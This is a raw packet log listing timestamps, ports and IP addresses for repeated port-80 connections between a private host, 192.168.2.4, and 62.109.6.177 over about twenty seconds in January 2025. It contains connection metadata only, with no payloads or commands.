Jan 4, 2025 13:39:34.608402014 CET	50949	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:34.613085985 CET	80	50948	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:34.613132954 CET	50948	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:34.613212109 CET	80	50949	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:34.613269091 CET	50949	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:34.613358974 CET	50949	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:34.618154049 CET	80	50949	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:34.968732119 CET	50949	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:34.973597050 CET	80	50949	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:34.973608971 CET	80	50949	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:34.973618984 CET	80	50949	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:35.296216965 CET	80	50949	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:35.374891043 CET	50949	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:35.430551052 CET	80	50949	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:35.558207989 CET	50950	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:35.558208942 CET	50949	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:35.563083887 CET	80	50950	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:35.563165903 CET	50950	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:35.563348055 CET	80	50949	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:35.563353062 CET	50950	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:35.563443899 CET	50949	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:35.568141937 CET	80	50950	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:35.921857119 CET	50950	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:35.926798105 CET	80	50950	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:35.926810980 CET	80	50950	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:35.926820040 CET	80	50950	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:36.235650063 CET	50950	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:36.235688925 CET	50951	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:36.240540981 CET	80	50951	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:36.240595102 CET	50951	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:36.240735054 CET	80	50950	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:36.240778923 CET	50950	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:36.240909100 CET	50951	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:36.245661020 CET	80	50951	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:36.403759003 CET	50952	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:36.408627987 CET	80	50952	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:36.408687115 CET	50952	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:36.408834934 CET	50952	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:36.413606882 CET	80	50952	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:36.593713999 CET	50951	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:36.598570108 CET	80	50951	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:36.598665953 CET	80	50951	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:36.765703917 CET	50952	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:36.770967007 CET	80	50952	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:36.770977974 CET	80	50952	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:36.771224022 CET	80	50952	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:36.933234930 CET	80	50951	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:37.019062996 CET	50951	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:37.063281059 CET	80	50951	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:37.106765985 CET	80	50952	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:37.171782017 CET	50952	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:37.175885916 CET	50951	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:37.238667011 CET	80	50952	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:37.354456902 CET	50951	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:37.354542971 CET	50952	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:37.355065107 CET	50953	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:37.359467030 CET	80	50951	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:37.359812975 CET	80	50952	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:37.359879971 CET	80	50953	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:37.359955072 CET	50952	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:37.359956980 CET	50951	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:37.360097885 CET	50953	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:37.360187054 CET	50953	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:37.365087032 CET	80	50953	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:37.389067888 CET	80	50946	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:37.391144991 CET	50946	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:37.718746901 CET	50953	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:37.723674059 CET	80	50953	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:37.723686934 CET	80	50953	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:37.723696947 CET	80	50953	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:38.044526100 CET	80	50953	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:38.182100058 CET	80	50953	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:38.182149887 CET	50953	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:38.182332993 CET	50953	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:38.187309027 CET	80	50953	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:38.187371969 CET	50953	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:38.311403036 CET	50954	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:38.316220999 CET	80	50954	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:38.316282034 CET	50954	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:38.319061995 CET	50954	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:38.323872089 CET	80	50954	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:38.671871901 CET	50954	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:38.676826954 CET	80	50954	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:38.676840067 CET	80	50954	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:38.676850080 CET	80	50954	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:39.022187948 CET	80	50954	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:39.153671980 CET	80	50954	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:39.153985023 CET	50954	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:39.282520056 CET	50954	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:39.282522917 CET	50955	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:39.287408113 CET	80	50955	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:39.287533998 CET	80	50954	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:39.287554026 CET	50955	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:39.287628889 CET	50955	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:39.287645102 CET	50954	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:39.292411089 CET	80	50955	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:39.641623020 CET	50955	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:39.646580935 CET	80	50955	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:39.646595001 CET	80	50955	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:39.646605015 CET	80	50955	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:39.976742029 CET	80	50955	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:40.078020096 CET	50955	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:40.106554031 CET	80	50955	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:40.235296011 CET	50955	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:40.235574961 CET	50956	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:40.240408897 CET	80	50955	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:40.240422964 CET	80	50956	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:40.240461111 CET	50955	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:40.240503073 CET	50956	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:40.240578890 CET	50956	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:40.245347023 CET	80	50956	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:40.593743086 CET	50956	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:40.598647118 CET	80	50956	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:40.598660946 CET	80	50956	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:40.598670959 CET	80	50956	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:40.945077896 CET	80	50956	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:41.084101915 CET	80	50956	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:41.084202051 CET	50956	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:41.197809935 CET	50956	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:41.198209047 CET	50957	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:41.202826023 CET	80	50956	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:41.202986002 CET	80	50957	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:41.203016996 CET	50956	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:41.203306913 CET	50957	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:41.203491926 CET	50957	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:41.208349943 CET	80	50957	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:41.562458992 CET	50957	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:41.567373991 CET	80	50957	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:41.567385912 CET	80	50957	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:41.567394972 CET	80	50957	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:41.915467024 CET	80	50957	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:42.046466112 CET	50957	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:42.046756983 CET	50958	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:42.051723957 CET	80	50958	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:42.051737070 CET	80	50957	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:42.051794052 CET	50957	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:42.051810980 CET	50958	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:42.051918030 CET	50958	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:42.056694031 CET	80	50958	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:42.078943014 CET	50959	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:42.079025984 CET	50958	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:42.083772898 CET	80	50959	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:42.083822012 CET	50959	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:42.083903074 CET	50959	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:42.088659048 CET	80	50959	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:42.131742001 CET	80	50958	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:42.201453924 CET	50960	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:42.206295967 CET	80	50960	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:42.206351042 CET	50960	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:42.206445932 CET	50960	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:42.211179018 CET	80	50960	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:42.437473059 CET	50959	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:42.442419052 CET	80	50959	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:42.442455053 CET	80	50959	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:42.538021088 CET	80	50958	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:42.538067102 CET	50958	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:42.562486887 CET	50960	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:42.567425966 CET	80	50960	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:42.567440987 CET	80	50960	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:42.567450047 CET	80	50960	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:42.780955076 CET	80	50959	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:42.888124943 CET	80	50960	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:42.909148932 CET	50959	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:42.918311119 CET	80	50959	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:43.017159939 CET	50959	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:43.017159939 CET	50960	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:43.019123077 CET	80	50960	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:43.136610985 CET	50960	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:43.136611938 CET	50959	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:43.136966944 CET	50961	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:43.141671896 CET	80	50960	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:43.141743898 CET	80	50961	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:43.141769886 CET	50960	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:43.141942978 CET	80	50959	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:43.142059088 CET	50961	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:43.142060041 CET	50959	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:43.145181894 CET	50961	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:43.149995089 CET	80	50961	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:43.501276016 CET	50961	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:43.506201982 CET	80	50961	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:43.506220102 CET	80	50961	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:43.506230116 CET	80	50961	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:43.841264963 CET	80	50961	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:43.972573996 CET	80	50961	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:43.972623110 CET	50961	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:44.112016916 CET	50962	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:44.117177010 CET	80	50962	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:44.117233992 CET	50962	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:44.117352009 CET	50962	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:44.122577906 CET	80	50962	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:44.468848944 CET	50962	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:44.473862886 CET	80	50962	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:44.473876953 CET	80	50962	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:44.473887920 CET	80	50962	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:44.806834936 CET	80	50962	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:44.877285957 CET	50962	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:44.934568882 CET	80	50962	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:45.057378054 CET	50962	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:45.057377100 CET	50963	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:45.062629938 CET	80	50963	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:45.062731028 CET	80	50962	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:45.065285921 CET	50963	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:45.065290928 CET	50962	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:45.065366030 CET	50963	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:45.070101023 CET	80	50963	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:45.421969891 CET	50963	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:45.426918983 CET	80	50963	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:45.426932096 CET	80	50963	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:45.426939964 CET	80	50963	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:45.839901924 CET	80	50963	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:45.968976974 CET	50963	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:45.974351883 CET	80	50963	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:46.082974911 CET	50963	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:46.095216990 CET	50961	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:46.098050117 CET	50963	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:46.099433899 CET	50964	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:46.103013992 CET	80	50963	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:46.103061914 CET	50963	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:46.104270935 CET	80	50964	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:46.104322910 CET	50964	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:46.104456902 CET	50964	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:46.109251022 CET	80	50964	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:46.453089952 CET	50964	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:46.457986116 CET	80	50964	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:46.458034992 CET	80	50964	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:46.458044052 CET	80	50964	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:46.790029049 CET	80	50964	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:46.843661070 CET	50964	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:46.918610096 CET	80	50964	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:46.969089031 CET	50964	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:47.045083046 CET	50965	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:47.045124054 CET	50964	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:47.049937010 CET	80	50965	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:47.050160885 CET	80	50964	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:47.050295115 CET	50965	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:47.050296068 CET	50964	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:47.050364971 CET	50965	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:47.055102110 CET	80	50965	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:47.406313896 CET	50965	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:47.411180019 CET	80	50965	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:47.411194086 CET	80	50965	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:47.411205053 CET	80	50965	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:47.746782064 CET	80	50965	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:47.849070072 CET	50965	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:47.878357887 CET	80	50965	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:47.922885895 CET	50966	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:47.922945976 CET	50965	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:47.927701950 CET	80	50966	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:47.927767038 CET	50966	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:47.927892923 CET	80	50965	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:47.927916050 CET	50966	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:47.927933931 CET	50965	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:47.932646990 CET	80	50966	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:47.997634888 CET	50966	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:47.997936010 CET	50967	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:48.002986908 CET	80	50967	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:48.003042936 CET	50967	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:48.003142118 CET	50967	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:48.007916927 CET	80	50967	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:48.047739029 CET	80	50966	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:48.359400034 CET	50967	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:48.364341021 CET	80	50967	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:48.364352942 CET	80	50967	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:48.364361048 CET	80	50967	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:48.400088072 CET	80	50966	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:48.400141001 CET	50966	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:48.742188931 CET	80	50967	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:48.796785116 CET	50967	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:48.891386986 CET	80	50967	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:48.939085007 CET	50967	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:49.011076927 CET	50967	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:49.011091948 CET	50968	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:49.015958071 CET	80	50968	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:49.016103983 CET	80	50967	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:49.019126892 CET	50968	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:49.019134045 CET	50967	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:49.019264936 CET	50968	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:49.024049044 CET	80	50968	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:49.375011921 CET	50968	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:49.381304979 CET	80	50968	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:49.381318092 CET	80	50968	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:49.381330013 CET	80	50968	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:49.715071917 CET	80	50968	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:49.846359015 CET	80	50968	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:49.846431017 CET	50968	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:49.968240976 CET	50969	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:49.973067999 CET	80	50969	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:49.973126888 CET	50969	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:49.973229885 CET	50969	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:49.978023052 CET	80	50969	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:50.329148054 CET	50969	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:50.334839106 CET	80	50969	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:50.334851980 CET	80	50969	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:50.334867001 CET	80	50969	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:50.653918028 CET	80	50969	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:50.703031063 CET	50969	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:50.782478094 CET	80	50969	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:50.831073999 CET	50969	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:50.900752068 CET	50969	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:50.900758982 CET	50970	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:50.905577898 CET	80	50970	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:50.905790091 CET	80	50969	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:50.907118082 CET	50969	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:50.907123089 CET	50970	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:50.907265902 CET	50970	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:50.912062883 CET	80	50970	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:51.268399954 CET	50970	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:51.273441076 CET	80	50970	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:51.273452997 CET	80	50970	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:51.273462057 CET	80	50970	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:51.623980999 CET	80	50970	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:51.671799898 CET	50970	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:51.760186911 CET	80	50970	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:51.812414885 CET	50970	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:51.886945009 CET	50970	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:51.887197971 CET	50971	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:51.891968012 CET	80	50970	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:51.892018080 CET	50970	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:51.892076969 CET	80	50971	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:51.892138004 CET	50971	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:51.892225981 CET	50971	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:51.897005081 CET	80	50971	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:52.250097990 CET	50971	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:52.255013943 CET	80	50971	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:52.255027056 CET	80	50971	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:52.255042076 CET	80	50971	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:52.615664959 CET	80	50971	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:52.718673944 CET	50971	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:52.747932911 CET	80	50971	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:52.871076107 CET	50971	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:52.871078968 CET	50972	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:52.875910044 CET	80	50972	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:52.876025915 CET	80	50971	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:52.876298904 CET	50972	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:52.876302958 CET	50971	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:52.879076958 CET	50972	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:52.883935928 CET	80	50972	62.109.6.177	192.168.2.4
Jan 4, 2025 13:39:53.000699997 CET	50972	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:53.000701904 CET	50973	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:39:53.005841017 CET	80	50973	62.109.6.177	192.168.2.4
